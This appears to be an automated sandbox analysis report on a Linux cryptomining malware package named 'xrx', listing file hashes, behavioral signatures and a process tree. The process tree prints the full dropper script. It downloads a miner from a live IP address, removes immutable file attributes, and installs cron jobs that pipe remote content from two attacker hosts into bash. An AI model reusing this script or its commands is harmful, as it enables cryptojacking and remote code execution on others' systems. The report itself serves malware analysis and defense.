Overview
overview
10Static
static
10xrx/chattr
ubuntu-18.04-amd64
1xrx/config.json
ubuntu-18.04-amd64
xrx/config.json
debian-9-armhf
xrx/config.json
debian-9-mips
xrx/config.json
debian-9-mipsel
xrx/init.sh
ubuntu-24.04-amd64
6xrx/init0
ubuntu-22.04-amd64
8xrx/key
ubuntu-18.04-amd64
xrx/key
debian-9-armhf
xrx/key
debian-9-mips
xrx/key
debian-9-mipsel
xrx/scp
ubuntu-18.04-amd64
1xrx/scp
debian-9-armhf
1xrx/scp
debian-9-mips
1xrx/scp
debian-9-mipsel
1xrx/secure
ubuntu-22.04-amd64
7xrx/uninstall.sh
ubuntu-18.04-amd64
6xrx/uninstall.sh
debian-9-armhf
6xrx/uninstall.sh
debian-9-mips
6xrx/uninstall.sh
debian-9-mipsel
6xrx/xrx
ubuntu-24.04-amd64
6Analysis
-
max time kernel
5s -
max time network
130s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240729-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
27-11-2024 08:55
Behavioral task
behavioral1
Sample
xrx/chattr
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
xrx/config.json
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral3
Sample
xrx/config.json
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral4
Sample
xrx/config.json
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral5
Sample
xrx/config.json
Resource
debian9-mipsel-20240729-en
Behavioral task
behavioral6
Sample
xrx/init.sh
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral7
Sample
xrx/init0
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral8
Sample
xrx/key
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral9
Sample
xrx/key
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral10
Sample
xrx/key
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral11
Sample
xrx/key
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral12
Sample
xrx/scp
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral13
Sample
xrx/scp
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral14
Sample
xrx/scp
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral15
Sample
xrx/scp
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral16
Sample
xrx/secure
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral17
Sample
xrx/uninstall.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral18
Sample
xrx/uninstall.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral19
Sample
xrx/uninstall.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral20
Sample
xrx/uninstall.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
xrx/secure
-
Size
1023KB
-
MD5
069ad3938c3f9c049f670a8eb49dc1d8
-
SHA1
f4fd0c87a18d45ab4b642f32a94673c949ab7caf
-
SHA256
84d4b99f0d98900b4eadb7e107bf54196f2e5796d8707ebf0dcd76f5b6693295
-
SHA512
3c627883f53082face65b22d353c1926c4d4f4de008cf41cf2a3326762ad080dd95324f2fd35c3f60c069df4fb2c510d4fa07b26cbc404678f8a655c884beedb
-
SSDEEP
12288:SBgtRmLBGYhFcueTIqRe/w/Yt6myOP7/x7L15k7bKrHNq9EnE:SQRmLBTFcueTIie/wgB/x7LFLNq9
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
bashchmodchmodpid Process 1568 bash 1588 chmod 1607 chmod -
Attempts to change immutable files 4 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
chattrchattrchattrchattrpid Process 1574 chattr 1575 chattr 1590 chattr 1591 chattr -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
bashdescription ioc Process File opened for modification /etc/crontab bash -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 2 IoCs
Processes:
pgreppgrepdescription ioc Process File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep -
Processes:
pgreppgrepdescription ioc Process File opened for reading /proc/13/status pgrep File opened for reading /proc/91/status pgrep File opened for reading /proc/208/cmdline pgrep File opened for reading /proc/1057/status pgrep File opened for reading /proc/1208/cmdline pgrep File opened for reading /proc/1106/cmdline pgrep File opened for reading /proc/12/cmdline pgrep File opened for reading /proc/22/cmdline pgrep File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/75/cmdline pgrep File opened for reading /proc/85/status pgrep File opened for reading /proc/609/cmdline pgrep File opened for reading /proc/25/status pgrep File opened for reading /proc/75/cmdline pgrep File opened for reading /proc/758/status pgrep File opened for reading /proc/1093/cmdline pgrep File opened for reading /proc/77/status pgrep File opened for reading /proc/192/cmdline pgrep File opened for reading /proc/415/status pgrep File opened for reading /proc/1320/cmdline pgrep File opened for reading /proc/190/cmdline pgrep File opened for reading /proc/498/status pgrep File opened for reading /proc/962/status pgrep File opened for reading /proc/1489/status pgrep File opened for reading /proc/1564/cmdline pgrep File opened for reading /proc/113/status pgrep File opened for reading /proc/204/cmdline pgrep File opened for reading /proc/1196/status pgrep File opened for reading /proc/1208/status pgrep File opened for reading /proc/14/status pgrep File opened for reading /proc/1173/cmdline pgrep File opened for reading /proc/1430/cmdline pgrep File opened for reading /proc/1173/status pgrep File opened for reading /proc/1245/cmdline pgrep File opened for reading /proc/1250/cmdline pgrep File opened for reading /proc/4/cmdline pgrep File opened for reading /proc/20/status pgrep File opened for reading /proc/93/cmdline pgrep File opened for reading /proc/846/cmdline pgrep File opened for reading /proc/1093/cmdline pgrep File opened for reading /proc/93/cmdline pgrep File opened for reading /proc/1147/status pgrep File opened for reading /proc/1509/cmdline pgrep File opened for reading /proc/98/status pgrep File opened for reading /proc/314/status pgrep File opened for reading /proc/1259/cmdline pgrep File opened for reading /proc/82/status pgrep File opened for reading /proc/204/status pgrep File opened for reading /proc/501/status pgrep File opened for reading /proc/1041/cmdline pgrep File opened for reading /proc/76/status pgrep File opened for reading /proc/80/status pgrep File opened for reading /proc/89/cmdline pgrep File opened for reading /proc/1183/cmdline pgrep File opened for reading /proc/1/status pgrep File opened for reading /proc/6/cmdline pgrep File opened for reading /proc/1509/status pgrep File opened for reading /proc/4/status pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/1584/cmdline pgrep File opened for reading /proc/1163/status pgrep File opened for reading /proc/1437/cmdline pgrep File opened for reading /proc/202/cmdline pgrep
Processes
-
/tmp/xrx/secure/tmp/xrx/secure1⤵PID:1568
-
/bin/bash/tmp/xrx/secure -c "exec '/tmp/xrx/secure' \"\$@\"" /tmp/xrx/secure1⤵PID:1568
-
/tmp/xrx/secure/tmp/xrx/secure1⤵PID:1568
-
/bin/bash/tmp/xrx/secure -c " #!/bin/bash ifrunning=\$(pgrep xrx) ######################## ######################## downloadminer(){ link1=\"http://185.252.178.82:6972/xrx/xrx\" link2=\"http://185.252.178.82:6972/configs/config-xrx.json\" mkdir /var/tmp/.xrx cd /var/tmp/.xrx/ chattr -ia /var/tmp/.xrx/xrx chattr -ia /var/tmp/.xrx/config.json rm -rf /var/tmp/.xrx/xrx rm -rf /var/tmp/.xrx/config.json curl -L -O \$link1 || cd1 -L -O \$link1 || wget \$link1 --no-check-certificate curl -L -O \$link2 || cd1 -L -O \$link2 || wget \$link2 --no-check-certificate mv config-xrx.json config.json chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( \$EUID != 0 )); then if ! crontab -l | grep -q 'secure'; then cd /dev/shm rm -rf /dev/shm/.spark echo \"@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"*/30 * * * * curl 185.252.178.82:1011/next | bash \" >> .spark sleep 1 echo \"*/30 * * * * curl load.whitesnake.church:1011/next | bash \" >> .spark sleep 1 crontab .spark sleep 2 rm -rf /dev/shm/.spark fi fi if (( \$EUID == 0 )); then if ! cat /etc/crontab | grep -q 'secure'; then echo \"@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"*/30 * * * * root curl 185.252.178.82:1011/next | bash \" >> /etc/crontab echo \"*/30 * * * * root curl load.whitesnake.church:1011/next | bash \" >> /etc/crontab fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print \$5}'` if [ -f /var/tmp/.xrx/xrx ]; then echo \"miner intact\" else echo \"miner not found,downloading...\" downloadminer fi if [[ \"\$fsiz\" -gt 0 ]]; then echo \"miner size intact\" else echo \"filesize 0,downloading...\" downloadminer fi } ######################## ######################## gettingmineru crontablegend if test -z \"\$ifrunning\" ; then echo \"xrx not running,starting...\" /var/tmp/.xrx/xrx </dev/null &>/dev/null & disown -h %1 sleep 1 echo -e \"pid:\" pgrep xrx fi " /tmp/xrx/secure1⤵
- File and Directory Permissions Modification
- Creates/modifies Cron job
PID:1568 -
/usr/bin/pgreppgrep xrx2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1569
-
-
/usr/bin/awkawk "{print \$5}"2⤵PID:1572
-
-
/usr/bin/lsls -l /var/tmp/.xrx/xrx2⤵PID:1571
-
-
/usr/bin/mkdirmkdir /var/tmp/.xrx2⤵PID:1573
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/xrx2⤵
- Attempts to change immutable files
PID:1574
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/config.json2⤵
- Attempts to change immutable files
PID:1575
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/xrx2⤵PID:1576
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/config.json2⤵PID:1577
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/xrx/xrx2⤵PID:1578
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/xrx/xrx --no-check-certificate2⤵PID:1580
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/configs/config-xrx.json2⤵PID:1581
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate2⤵PID:1583
-
-
/usr/bin/mvmv config-xrx.json config.json2⤵PID:1587
-
-
/usr/bin/chmodchmod +x /var/tmp/.xrx/xrx2⤵
- File and Directory Permissions Modification
PID:1588
-
-
/usr/bin/mkdirmkdir /var/tmp/.xrx2⤵PID:1589
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/xrx2⤵
- Attempts to change immutable files
PID:1590
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/config.json2⤵
- Attempts to change immutable files
PID:1591
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/xrx2⤵PID:1592
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/config.json2⤵PID:1593
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/xrx/xrx2⤵PID:1594
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/xrx/xrx --no-check-certificate2⤵PID:1602
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/configs/config-xrx.json2⤵PID:1603
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate2⤵PID:1605
-
-
/usr/bin/mvmv config-xrx.json config.json2⤵PID:1606
-
-
/usr/bin/chmodchmod +x /var/tmp/.xrx/xrx2⤵
- File and Directory Permissions Modification
PID:1607
-
-
/usr/bin/grepgrep -q secure2⤵PID:1609
-
-
/usr/bin/catcat /etc/crontab2⤵PID:1608
-
-
/usr/bin/sleepsleep 12⤵PID:1611
-
-
/var/tmp/.xrx/xrx/var/tmp/.xrx/xrx2⤵PID:1610
-
-
/usr/bin/pgreppgrep xrx2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1612
-